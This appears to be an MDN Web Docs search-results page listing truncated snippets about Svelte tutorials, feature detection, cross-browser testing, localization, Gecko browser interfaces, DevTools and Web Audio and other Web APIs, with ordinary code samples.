... client-side JavaScript frameworks module is now available. Learn why frameworks exist, when you should use one (and when you shouldn't), what kinds of features are common to all frameworks, and how they relate to the vanilla JavaScript you may already know. Once you have a general understanding of frameworks, move on to tutorial series covering popular frameworks like React, Ember, and Vue. Our
Web Forms learning module now has "Test your skills" assessments accompanying the articles. April 2020 Our new Understanding client-side
web development tools module has been released! Learn the essentials of
web development tooling, including what kind of tools exist, the command line, package managers, and how to assemble your own functioning tool chain. March 2020 You'll now find "Test your sk...
...e command line, package managers, and how to assemble your own functioning tool chain. March 2020 You'll now find "Test your skills" assessments accompanying the articles in the following modules: CSS building blocks JavaScript first steps JavaScript building blocks Introducing JavaScript objects January 2020 The HTML forms module has been significantly updated: It has been retitled
Web forms, and moved out of the HTML topic area to recognise that it covers more than just HTML form elements -- it also covers styling, validation, the basics of how to send data and process it on the server, and more besides. It has new examples available and techniques covered. It has a new structure to make for a more effective learning experience. More "Test your skills" sections have been a...
Starting our Svelte Todo list app - Learn web development
... ] By design, these warnings are implemented in the compiler itself, and not as a plug-in that you may choose to add to your project. The idea is to check for a11y issues in your markup by default and let you opt-out of specific warnings. Note: you should only disable these warnings if you have good reasons to do so, for example while building a quick prototype. It's important to be a good
web citizen and make make your pages accessible to the broadest possible userbase. The accessibility rules checked by Svelte are taken from eslint-plugin-jsx-a11y, a plugin for eslint that provides static checks for many accessibility rules on JSX elements. Svelte aims to implement all of them in its compiler, and most of them have already been ported to Svelte. On GitHub you can see which accessib...
...efore, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; outline-offset: 0; } html { font: 62.5% / 1.15 sans-serif; } h1, h2 { margin-bottom: 0; } ul { list-style: none; padding: 0; } button { border: none; margin: 0; padding: 0; width: auto; overflow: visible; background: transparent; color: inherit; font: inherit; line-height: normal; -
webkit-font-smoothing: inherit; -moz-osx-font-smoothing: inherit; -
webkit-appearance: none; } button::-moz-focus-inner { border: 0; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { overflow: visible; } input[type="text"] { border-radius: 0; } body { width: 100%; max-width: 68rem; margin: 0 auto...
... margin: unset auto; } /* Todo item styles */ .todo { display: flex; flex-direction: row; flex-wrap: wrap; } .todo > * { flex: 0 0 100%; } .todo-text { width: 100%; min-height: 4.4rem; padding: 0.4rem 0.8rem; border: 2px solid #565656; } .todo-text:focus { box-shadow: inset 0 0 0 2px; } /* CHECKBOX STYLES */ .c-cb { box-sizing: border-box; font-family: Arial, sans-serif; -
webkit-font-smoothing: antialiased; font-weight: 400; font-size: 1.6rem; line-height: 1.25; display: block; position: relative; min-height: 44px; padding-left: 40px; clear: left; } .c-cb > label::before, .c-cb > input[type="checkbox"] { box-sizing: border-box; top: -2px; left: -2px; width: 44px; height: 44px; } .c-cb > input[type="checkbox"] { -
webkit-font-smoothing: antia...
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
sfully updated every time you press the button (the todo objects' completed properties are toggled between true and false), but Svelte is not aware of that. This also means that in this case, a reactive statement like $: console.log('todos', todos) won't be very useful. To find out why this is happening, we need to understand how reactivity works in Svelte when updating arrays and objects. Many
web frameworks use the virtual DOM technique to update the page. Basically, the virtual DOM is an in-memory copy of the contents of the
web page. The framework updates this virtual representation which is then synced with the "real" DOM. This is much faster than directly updating the DOM and allows the framework to apply many optimization techniques. These frameworks, by default, basically re-run al...
... To understand what's happening here, let's talk some more about that component lifecycle we mentioned earlier. Component lifecycle, and the onMount() function When a component is instantiated, Svelte runs the initialization code (that is, the <script> section of the component). But at that moment, all the nodes ...
...ements: actions. To select the text of a DOM input node we have to call select(). To get this function called whenever the node gets focused, we need an event listener along these lines: node.addEventListener('focus', event => node.select()). And, in order to avoid memory leaks, we should also call the removeEventListener() function when the node is destroyed. Note: All this is just standard
WebAPI functionality; nothing here is specific to Svelte. We could achieve all this in our Todo component whenever we add or remove the <input> from the DOM, but we would have to be very careful to add the event listener after the node has been added to the DOM, and remove the listener before the node is removed from the DOM. In addition, our solution would not be very reusable. That's where Svelt...
Implementing feature detection - Learn web development
do support the feature, and browsers that don't. If you don't do this, browsers that don't support the features you are using in your code won't display your sites properly and will just fail, creating a bad user experience. Let's recap and look at the example we touched on in our Handling common JavaScript problems -- the Geolocation API (which exposes available location data for the device the
web browser is running on) has the main entry point for its use, a geolocation property available on the global Navigator object. Therefore, you can detect whether the browser supports geolocation or not by using something like the following: if ("geolocation" in navigator) { navigator.geolocation.getCurrentPosition(function(position) { // show the location on a map, perhaps using the Google M...
...nd (flex: 1) { /* rules in here */ } This may look a lot more convenient than the previous example -- we can do all of our feature detection in CSS, no JavaScript required, and we can handle all the logic in a single CSS file, cutting down on HTTP requests. the problem here is browser support -- @supports is not supported at all in IE, and only supported in very recent versions of Safari/iOS
WebKit (9+/9.2+), whereas the JavaScript version should work in much older browsers (probably back to IE8 or 9, although older versions of IE will have additional problems, such as not supporting Document.querySelector, and having a messed up box model). JavaScript We already saw an example of a JavaScript feature detection test earlier on. Generally, such tests are done via one of the following co...
...is by making the global Modernizr object available to the page it is applied to, which contains results of the feature detects as true/false properties. For example, load up our modernizr-css.html example in your browser, then try going to your JavaScript console and typing in Modernizr. followed by some of those class names (they are the same here too). For example: Modernizr.flexbox Modernizr.
websqldatabase Modernizr.xhr2 Modernizr.fetch The console will return true/false values to indicate whether your browser supports those features or not. Let's look at an example to show how you'd use those properties. First of all, make a local copy of the modernizr-js.html example file. Attach the Modernizr library to the HTML using a <script> element, as we have done in previous demos. Put it...
Cross browser testing - Learn web development
Get started Prerequisites You should really learn the basics of the core HTML, CSS, and JavaScript languages first before attempting to use the tools detailed here. ...
...fferent browsers. We look at identifying your target audience (e.g. what users, browsers, and devices do you most need to worry about?), how to go about doing testing, the main issues that you'll face with different types of code and how to mitigate them, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites You should really learn the basics of the core HTML, CSS, and JavaScript languages first before attempting to use the tools detailed here. Guides Introduction to cross browser testing This article starts the module off by providing an overvie...
... you should become familiar with automation tools. In this article, we look at what is available, how to use task runners, and the basics of how to use commercial browser test automation apps such as Sauce Labs and Browser Stack. Setting up your own test automation environment In this article, we will teach you how to install your own automation environment and run your own tests using Selenium/
WebDriver and a testing library such as selenium-
webdriver for Node. We will also look at how to integrate your local testing environment with commercial apps like the ones discussed in the previous article. ...
Webapps.jsm
The
Webapps.jsm modules exposes the DOMApplicationRegistry, which is responsible for managing all of the Open
Web Apps. ...
... The
Webapps.jsm modules exposes the DOMApplicationRegistry, which is responsible for managing all of the Open
Web Apps. ...
...RL: function(aManifestURL) getFullAppByManifestURL: function(aManifestURL, aEntryPoint, aLang) getManifestCSPByLocalId: function(aLocalId) getDefaultCSPByLocalId: function(aLocalId) getAppLocalIdByStoreId: function(aStoreId) getAppByLocalId: function(aLocalId) getManifestURLByLocalId: function(aLocalId) getAppLocalIdByManifestURL: function(aManifestURL) getCoreAppsBasePath: function() get
WebAppsBasePath: function() _isLaunchable: function(aApp) _notifyCategoryAndObservers: function(subject, topic, data, msg) registerBrowserElementParentForApp: function(aMsg, aMn) receiveAppMessage: function(appId, message) _clearPrivateData: function(appId, browserOnly, msg) _sendProgressEvent: function() updateStateChanged: function appObs_Update(aUpdate, aState) applicationCacheAvailable: ...
Creating localizable web content
deo player on the page instead of linking to a video section in English. Per-locale customizations Check if there are alternative links for localized pages (e.g., links to MDN, Addons.mozilla.org, or other external resources, are there translated equivalents we can use). If there are alternatives, use them by adding the $lang; parameter in the urls Evaluate the impact of new pages on all our
web properties, especially links to community sites and redirects. Sometimes you can leave some freedom of modification for a block of text so that the localizers link to relevant local resources. Images Check that images are not going to be a problem for the audience (cultural references, positionning, mirroring for rtl, text in images...) and spot what sizes/margins can be tweaked by CSS or have...
...e tweaked by CSS or have to be fixed for all locales but English Don't use text in icons Images 1&2. Bad: Image 3. Good: Image 4. Good: This icon is recognized as the international symbol for information. It can stay this way. Use localized screenshots if possible Screenshots are important informative graphics, often times explaining how to achieve something in a desktop or
web application. As such, they should be perceived as an essential part of the content and should be localized. Image 1. Bad. If the screenshot shows the application that the
website directly relates to (Firefox on mozilla.com/firefox, Personas on getpersonas.com), try to use screenshots from the localized version. Image 2. Acceptable. If however the screenshot shows a third-party appli...
...on. As such, they should be perceived as an essential part of the content and should be localized. Image 1. Bad. If the screenshot shows the application that the
website directly relates to (Firefox on mozilla.com/firefox, Personas on getpersonas.com), try to use screenshots from the localized version. Image 2. Acceptable. If however the screenshot shows a third-party application or
website, it's acceptable to use the English version if it's not available in the target language. ...
Web Localizability
Localizability (or l12y for short) is a characteristic found in an application or content that enables localization. The following list contains links to pages that highlight steps that can be taken to make
web content localizable. The documentation is divided into 4 parts: How to create localizable content. How to choose the right localization format. How to create localizable
web applications. How to set up the infrastructure for localization. ...
...The content will be easier to maintain and update. ...
...The content will be easier to maintain and update. You will end up writing more semanticly-correct code, which is good for your SEO. By reviewing your content and code for l12y, you will find and fix bugs in your original language too. ...
nsIWebBrowserChrome
embedding/browser/
webBrowser/nsI
WebBrowserChrome.idlScriptable Corresponds to the top-level, outermost window containing an embedded Gecko
web browser. Inherits from: nsISupports Last changed in Gecko 0.9.6 Method overview void destroyBrowserWindow(); void exitModalEventLoop(in nsresult aStatus); boolean isWindowModal(); void setStatus(in unsigned long statusType, in wstring status); void showAsModal(); void sizeBrowserTo(in long aCX, in long aCY); Attributes Attribute Type Description chromeFlags unsigned long The chrome flags for this browser chrome. The implementation should reflect the value of this attribute by hiding or showing its chrome appropriately. ...
...Status(in unsigned long statusType, in wstring status); void showAsModal(); void sizeBrowserTo(in long aCX, in long aCY); Attributes Attribute Type Description chromeFlags unsigned long The chrome flags for this browser chrome. The implementation should reflect the value of this attribute by hiding or showing its chrome appropriately.
webBrowser nsI
WebBrowser The currently loaded
WebBrowser. The browser chrome may be told to set the
WebBrowser object to a new object by setting this attribute. In this case the implementer is responsible for taking the new
WebBrowser object and doing any necessary initialization or setup as if it had created the
WebBrowser itself. This includes positioning setting up listeners etc. Const...
... CHROME_OPENAS_DIALOG 1073741824 Represent special cases. CHROME_OPENAS_CHROME 2147483648 Represent special cases. CHROME_ALL 4094 Represent special cases. CHROME_REMOTE_WINDOW 1048576 Whether this window should use remote (out-of-process) tabs. Methods destroyBrowserWindow() Asks the implementer to destroy the window associated with this
WebBrowser object. void destroyBrowserWindow(); Parameters None. exitModalEventLoop() Exit a modal event loop if we're in one. The implementation should also exit out of the loop if the window is destroyed. void exitModalEventLoop( in nsresult aStatus ); Parameters aStatus The result code to return from showAsModal(). isWindowModal() Is the window modal (that is, currently executing a m...
nsIWebBrowserChrome2
1.0 66 Introduced Gecko 1.9 Inherits from: nsI
WebBrowserChrome Last changed in Gecko 1.9 (Firefox 3) Method overview void setStatusWithContext(in unsigned long statusType, in AString statusText, in nsISupports statusContext); Methods setStatusWithContext() Called when the status text in the chrome needs to be updated. This method may be called instead of nsI
WebBrowserChrome.SetStatus(). An implementor of this method, should still implement nsI
WebBrowserChrome.SetStatus(). ...
...Last changed in Gecko 1.9 (Firefox 3) Method overview void setStatusWithContext(in unsigned long statusType, in AString statusText, in nsISupports statusContext); Methods setStatusWithContext() Called when the status text in the chrome needs to be updated. This method may be called instead of nsI
WebBrowserChrome.SetStatus(). An implementor of this method, should still implement nsI
WebBrowserChrome.SetStatus(). void setStatusWithContext( in unsigned long statusType, in AString statusText, in nsISupports statusContext ); Parameters statusType Indicates what is setting the text. statusText Status string. null is an acceptable value meaning no status. statusContext An object that provides context pertaining to the status type. If statusType is STATU...
...t ); Parameters statusType Indicates what is setting the text. statusText Status string. null is an acceptable value meaning no status. statusContext An object that provides context pertaining to the status type. If statusType is STATUS_LINK, then this may be a DOM node corresponding to the source of the link. This value can be null if there is no context. See also nsI
WebBrowserChrome ...
nsIWebNavigation
docshell/base/nsI
WebNavigation.idlScriptable Defines an interface for navigating the
web. It provides methods and attributes to direct an object to navigate to a new location, stop or restart an in process load, or determine where the object has previously gone. Inherits from: nsISupports Last changed in Gecko 1.9 (Firefox 3) This interface is implemented by the following components: * @mozilla.org/browser/shistory-internal;1 * @mozilla.org/browser/shistory;1 * @mozilla.org/embedding/browser/ns
WebBrowser;1 * @mozilla.org/docshell;1 Gecko 1.9.2 note In Gecko 1.9.2 (Firefox 3.6), the @mozilla.org/
webshell;1 component no longer exists; you need to use @mozilla.org/docshell;1 instead. Method overview void goBack void goForward void gotoInd...
...ag is poorly defined. LOAD_FLAGS_BYPASS_HISTORY 64 This flag specifies that history should not be updated. This flag is only applicable to loadURI. LOAD_FLAGS_REPLACE_HISTORY 128 This flag specifies that any existing history entry should be replaced. This flag is only applicable to loadURI. LOAD_FLAGS_BYPASS_CACHE 256 This flag specifies that the local
web cache should be bypassed, but an intermediate proxy cache could still be used to satisfy the load. LOAD_FLAGS_BYPASS_PROXY 512 This flag specifies that any intermediate proxy caches should be bypassed (That is, that the content should be loaded from the origin server). LOAD_FLAGS_CHARSET_CHANGE 1024 This flag specifies that a reload was triggered as a result of detec...
...cument nsIDOMDocument Retrieves the current DOM document for the frame, or lazily creates a blank document if there is none. This attribute never returns null except for unexpected error situations. Read only. referringURI nsIURI The referring URI for the currently loaded URI or null. Read only. sessionHistory nsISHistory The session history object used by this
web navigation instance. Methods goBack() Tells the object to navigate to the previous session history item. When a page is loaded from session history, all content is loaded from the cache (if available) and page state (such as form values and scroll position) is restored. void goBack( ); goForward() Tells the object to navigate to the next session history item. When a page is loaded fr...
Inspecting web app manifests - Firefox Developer Tools
e will look at inspecting app manifests using the Firefox DevTools Application panel. When you open the Application panel's Manifest view on a page that doesn't have an app manifest successfully deployed, you'll get the following output shown: Deploying a manifest To get a manifest deployed successfully, you need to include a <link> element in the <head> of your document that points to your .
webmanifest file: <link rel="manifest" href="/manifest.
webmanifest"> The .
webmanifest extension is recommended in the spec, and should be served with an application/manifest+json mime type, although browsers generally tend to support manifests with other appropriate extensions like .json (mime type: application/json). You also need to make sure the JSON inside the file is of the correct format. Yo...
..."manifest" href="/manifest.
webmanifest"> The .
webmanifest extension is recommended in the spec, and should be served with an application/manifest+json mime type, although browsers generally tend to support manifests with other appropriate extensions like .json (mime type: application/json). You also need to make sure the JSON inside the file is of the correct format. You can test this using the
Web Manifest Validator. Inspecting your manifest If your manifest is deployed successfully, you should end up with a display like the following on the Manifest view: From here, you can inspect all the information in the manifest in an easy-to-digest way, making sure that it is all correct. It provides a link to the manifest file at the top which when clicked on brings up the JSON in a new tab. ...
...digest way, making sure that it is all correct. It provides a link to the manifest file at the top which when clicked on brings up the JSON in a new tab. It also loads all the icon files into the view, so you can see the relative size of them all, and any other information associated with them. List of manifest members We won't provide an exhaustive list of all the members that can appear in a
web manifest here; you can already find that in our
web manifest documentation. ...
Web Console Helpers - Firefox Developer Tools
$(selector, element) Looks up a CSS selector string selector , returning the first node descended from element that matches. If unspecified, element defaults to document. Equivalent to document.querySelector() or calls the $ function in the page, if it exists. See the QuerySelector code snippet. $$(selector, element) Looks up a CSS selector string selector, returning an array of DOM nodes descended from element that match. If unspecified, element defaults to document. This is like for document.querySelectorAll(), but returns an array instead of a NodeList. ...
... --dpr number The device pixel ratio to use when taking the screenshot. --file boolean When present, the screenshot will be saved to a file, even if other options (e.g. --clipboard) are included. --filename string The name to use in saving the file. The file should have a ".png" extension. --fullpage boolean If included, the full
webpage will be saved. With this parameter, even the parts of the
webpage which are outside the current bounds of the window will be included in the screenshot. When used, "-fullpage" will be appended to the file name. --selector string The CSS query selector for a single element on the page. When supplied, only this element will be included in the screenshot. :unblock...
...r to the Console API for more information about logging from content. Variables tempN The "Use in Console" option in the Inspector generates a variable for a node named temp0, temp1, temp2, etc. referencing the node. Examples Looking at the contents of a DOM node Let's say you have a DOM node with the ID "title". In fact, this page you're reading right now has one, so you can open up the
Web Console and try this right now. Let's take a look at the contents of that node by using the $() and inspect() functions: inspect($("#title")) This automatically generates rich output for the object, showing you the contents of the DOM node that matches the CSS selector "#title", which is of course the element with ID "title". You can use the up- and down-arrow keys to navigate through the outp...
AesGcmParams - Web APIs
For details of how to supply appropriate values for this parameter, see the specification for AES-GCM: NIST SP800-38D, in particular section 5.2.1.1 on Input Data. Properties name A DOMString. This should be set to AES-GCM. iv A BufferSource -- the initialization vector. This must be unique for every encryption operation carried out with a given key. Put another way: never reuse an IV with the same key. ...
...ncrypt it. The bit length of additionalData must be <= 264-1. The additionalData property is optional and may be omitted without compromising the security of the encryption operation. tagLength Optional A Number. This determines the size in bits of the authentication tag generated in the encryption operation and used for authentication in the corresponding decryption. According to the
Web Crypto specification this must have one of the following values: 32, 64, 96, 104, 112, 120, or 128. The AES-GCM specification recommends that it should be 96, 104, 112, 120 or 128, although 32 or 64 bits may be acceptable in some applications: Appendix C of the specification provides additional guidance here. tagLength is optional and defaults to 128 if it is not specified. Examples See th...
... Recommendation ...
Animation.onfinish - Web APIs
This event is sent when the animation finishes playing. The finish event occurs when the animation completes naturally, as well as when the Animation.finish() method is called to immediately cause the animation to finish up. The "paused" play state supersedes the "finished" play state; if the animation is both paused and finished, the "paused" state is the one that will be reported. You can force the animation into the "finished" state by setting its startTime to document.timeline.currentTime - (Animation.currentTime * Animation.playbackRate). ...
...ation into the "finished" state by setting its startTime to document.timeline.currentTime - (Animation.currentTime * Animation.playbackRate). Syntax var finishHandler = Animation.onfinish; Animation.onfinish = finishHandler; Value A function to be called to handle the finish event, or null if no finish event handler is set. Examples Animation.onfinish is used several times in the Alice in
Web Animations API Land Growing/Shrinking Alice Game. Here is one instance where we add pointer events back to an element after its opacity animation has faded it in: // Add an animation to the game's ending credits var endingUI = document.getElementById("ending-ui"); var bringUI = endingUI.animate(keysFade, timingFade); // Pause said animation's credits bringUI.pause(); // This function removes p...
... Working Draft Editor's draft. ...
Animation.pause() - Web APIs
The pause() method of the
Web Animations API's Animation interface suspends playback of the animation. Syntax animation.pause(); Parameters None. Return value None. Exceptions InvalidStateError The animation's currentTime is unresolved (for example, if it's never been played or isn't currently playing) and the end time of the animation is positive infinity. Throws an InvalidStateError if the animation's currentTime is unresolved (perhaps it hasn't started playing yet) and the end time of the animation is positive infinity. ...
...The animation's currentTime is unresolved (for example, if it's never been played or isn't currently playing) and the end time of the animation is positive infinity. Throws an InvalidStateError if the animation's currentTime is unresolved (perhaps it hasn't started playing yet) and the end time of the animation is positive infinity. ...
... Working Draft ...
Attr - Web APIs
., Element.getAttributeNode()) or means of iterating return Attr types. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Attr" target="_top"><rect x="266" y="1" width="75" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Attr</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Warning: Starting in Gecko 7.0 (...
AudioBuffer - Web APIs
nnel). AudioBuffer.copyFromChannel() Copies the samples from the specified channel of the AudioBuffer to the destination array. AudioBuffer.copyToChannel() Copies the samples to the specified channel of the AudioBuffer, from the source array. Example The following simple example shows how to create an AudioBuffer and fill it with random white noise. ...
...array. AudioBuffer.copyToChannel() Copies the samples to the specified channel of the AudioBuffer, from the source array. Example The following simple example shows how to create an AudioBuffer and fill it with random white noise. You can find the full source code at our
webaudio-examples repository; a running live version is also available. ...
... Working Draft Initial definition. ...
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
hus, its behavior is independent of the value of the playbackRate parameter. playbackRate: The speed at which to render the audio stream. Its default value is 1. This parameter is k-rate. This is a compound parameter with detune. Its nominal range is (-? to +?). Return value A new AudioBufferSourceNode object instance. Specifications Specification Status Comment
Web Audio APIThe definition of 'AudioBufferSourceNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOpe...
...finition of 'AudioBufferSourceNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55Notes Notes Before version 59, the default values were not supported.Edge Full support <=79Firefox Full support 53IE No support NoOpera Full support 42Safari ? ...
AudioContext.baseLatency - Web APIs
; Value A double representing the base latency in seconds. Example // default latency ("interactive") const audioCtx1 = new AudioContext(); console.log(audioCtx1.baseLatency); // 0.00 // higher latency ("playback") const audioCtx2 = new AudioContext({ latencyHint: 'playback' }); console.log(audioCtx2.baseLatency); // 0.15 Specifications Specification Status Comment
Web Audio APIThe definition of 'baseLatency' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndr...
...io APIThe definition of 'baseLatency' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...mentalChrome Full support 58Edge Full support <=79Firefox Full support 70IE No support NoOpera Full support 45Safari No support No
WebView Android Full support 58Chrome Android Full support 58Firefox Android No support NoOpera Android Full support 43Safari iOS No support NoSamsung Internet Android ...
AudioContext.getOutputTimestamp() - Web APIs
Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaS...
... definition of 'getOutputTimestamp()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...mentalChrome Full support 57Edge Full support <=79Firefox Full support 70IE No support NoOpera Full support 44Safari No support No
WebView Android Full support 57Chrome Android Full support 57Firefox Android No support NoOpera Android Full support 43Safari iOS No support NoSamsung Internet Android ...
AudioContext - Web APIs
ioContext for several different audio source and pipeline concurrently. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/AudioContext" target="_top"><rect x="151" y="1" width="120" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">AudioContext</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor Au...
...sion of time in an audio context that has previously been suspended/paused. AudioContext.suspend() Suspends the progression of time in the audio context, temporarily halting audio hardware access and reducing CPU/battery usage in the process. Examples Basic audio context declaration: var audioCtx = new AudioContext(); Cross browser variant: var AudioContext = window.AudioContext || window.
webkitAudioContext; var audioCtx = new AudioContext(); var oscillatorNode = audioCtx.createOscillator(); var gainNode = audioCtx.createGain(); var finish = audioCtx.destination; // etc. Specifications Specification Status Comment
Web Audio APIThe definition of 'AudioContext' in that specification. Working Draft ...
AudioNode.connect() - Web APIs
entAudioSourceNode--that is, the audio from an HTML5 media element such as <audio>--through a band pass filter implemented using a BiquadFilterNode to reduce noise before then sending the audio along to the speakers. This example creates an oscillator, then links it to a gain node, so that the gain node controls the volume of the oscillator node. var AudioContext = window.AudioContext || window.
webkitAudioContext; var audioCtx = new AudioContext(); var oscillator = audioCtx.createOscillator(); var gainNode = audioCtx.createGain(); oscillator.connect(gainNode); gainNode.connect(audioCtx.destination); AudioParam example In this example, we will be altering the gain value of a GainNode using an OscillatorNode with a slow frequency value. This technique is know as an LFO-controlled parame...
...ar oscillator = audioCtx.createOscillator(); var gainNode = audioCtx.createGain(); oscillator.connect(gainNode); gainNode.connect(audioCtx.destination); AudioParam example In this example, we will be altering the gain value of a GainNode using an OscillatorNode with a slow frequency value. This technique is know as an LFO-controlled parameter. ...
...ections), including any timeline changes scheduled for the parameter. Therefore, it is possible to choose the range in which an AudioParam will change by setting the value of the AudioParam to the central frequency, and to use a GainNode between the audio source and the AudioParam to adjust the range of the AudioParam changes. Specifications Specification Status Comment
Web Audio APIThe definition of 'connect() to an AudioNode' in that specification. Working Draft
Web Audio APIThe definition of 'connect() to an AudioParam' in that specification. Working Draft ...
AudioParam.cancelAndHoldAtTime() - Web APIs
s are made using other methods. Syntax var audioParam = AudioParam.cancelAndHoldAtTime(cancelTime) Parameters cancelTime A double representing the time (in seconds) after the AudioContext was first created after which all scheduled changes will be cancelled. Return value A reference to the AudioParam it was called on. Specifications Specification Status Comment
Web Audio APIThe definition of 'cancelAndHoldAtTime()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOpera...
...definition of 'cancelAndHoldAtTime()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... NoIE No support NoOpera Full support 44 Full support 44 No support ? -- 43Alternate Name Alternate Name Uses the non-standard name: cancelValuesAndHoldAtTime()Safari No support No
WebView Android Full support 57 Full support 57 No support ? -- 56Alternate Name Alternate Name Uses the non-standard name: cancelValuesAndHoldAtTime()Chrome Android Full support 57 Full support 57...
AudioParam.setTargetAtTime() - Web APIs
lue given by the target parameter. The decay rate as defined by the timeConstant parameter is exponential; therefore the value will never reach target completely, but after each timestep of length timeConstant, the value will have approached target by another 1-e-1?63.2%1 - e^{-1} \approx 63.2%. For the complete formula (which uses a first-order linear continuous time-invariant system), check the
Web Audio specification. If you absolutely need to reach the target value by a specific time, you can use AudioParam.exponentialRampToValueAtTime(). However, for mathematical reasons, that method does not work if the current value or the target value is 0. Choosing a good timeConstant As mentioned above, the value changes exponentially, with each timeConstant bringing you another 63.2% toward the ...
...rtTime Value 0 * timeConstant 0% 0.5 * timeConstant 39.3% 1 * timeConstant 63.2% 2 * timeConstant 86.5% 3 * timeConstant 95.0% 4 * timeConstant 98.2% 5 * timeConstant 99.3% n * timeConstant 1-e-n1 - e^{-n} Examples In this example, we have a media source with two control buttons (see the
webaudio-examples repo for the source code, or view the example live.) When these buttons are pressed, setTargetAtTime() is used to fade the gain value up to 1.0, and down to 0, respectively, with the effect starting after 1 second, and the length of time the effect lasts being controlled by the timeConstant. // create audio context var AudioContext = window.AudioContext || window.
webkitAudioContext...
... Working Draft ...
AudioParam.setValueAtTime() - Web APIs
startTime A double representing the time (in seconds) after the AudioContext was first created that the change in value will happen. A TypeError is thrown if this value is negative. Returns A reference to this AudioParam object. In some browsers older implementations of this interface return void. ...
...ce with two control buttons (see our
webaudio-examples repo for the source code, or view the example live). ...
... Working Draft ...
AudioParam.setValueCurveAtTime() - Web APIs
, or duration is not a finite, strictly positive number. TypeError One or more of the values in the values array is non-finite. Non-finite values are NaN, Infinity, and -Infinity. Usage notes When the parameter's value finishes following the curve, its value is guaranteed to match the last value in the set of values specified in the values parameter. Note: Some early implementations of the
Web Audio API did not ensure this to be the case, causing unexpected results. Examples In this example, we have a media source with a single button (see the
webaudio-examples repo for the source code, or view the example live.) When this button is pressed, setValueCurveAtTime() is used to change the gain value between the values contained in the waveArray array: // create audio context var AudioC...
...e case, causing unexpected results. ...
... Working Draft ...
AudioParam - Web APIs
An AudioParam can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern. There are two kinds of AudioParam, a-rate and k-rate parameters: An a-rate AudioParam takes the current audio parameter value for each sample frame of the audio signal. A k-rate AudioParam uses the same initial audio parameter value for the whole block processed, that is 128 sample frames. In other words, the same value applies to every frame in the audio as it's processed by the node. Each AudioNode defines which of its parameters are a-rate or k-rate in the spec. ...
...ncels all scheduled future changes to the AudioParam but holds its value at a given time until further changes are made using other methods. Examples First, a basic example showing a GainNode having its gain value set. gain is an example of an a-rate AudioParam, as the value can potentially be set differently for each sample frame of the audio. var AudioContext = window.AudioContext || window.
